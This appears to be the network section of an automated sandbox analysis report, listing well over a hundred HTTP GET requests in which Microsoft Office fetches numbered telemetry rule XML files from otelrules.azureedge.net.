Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
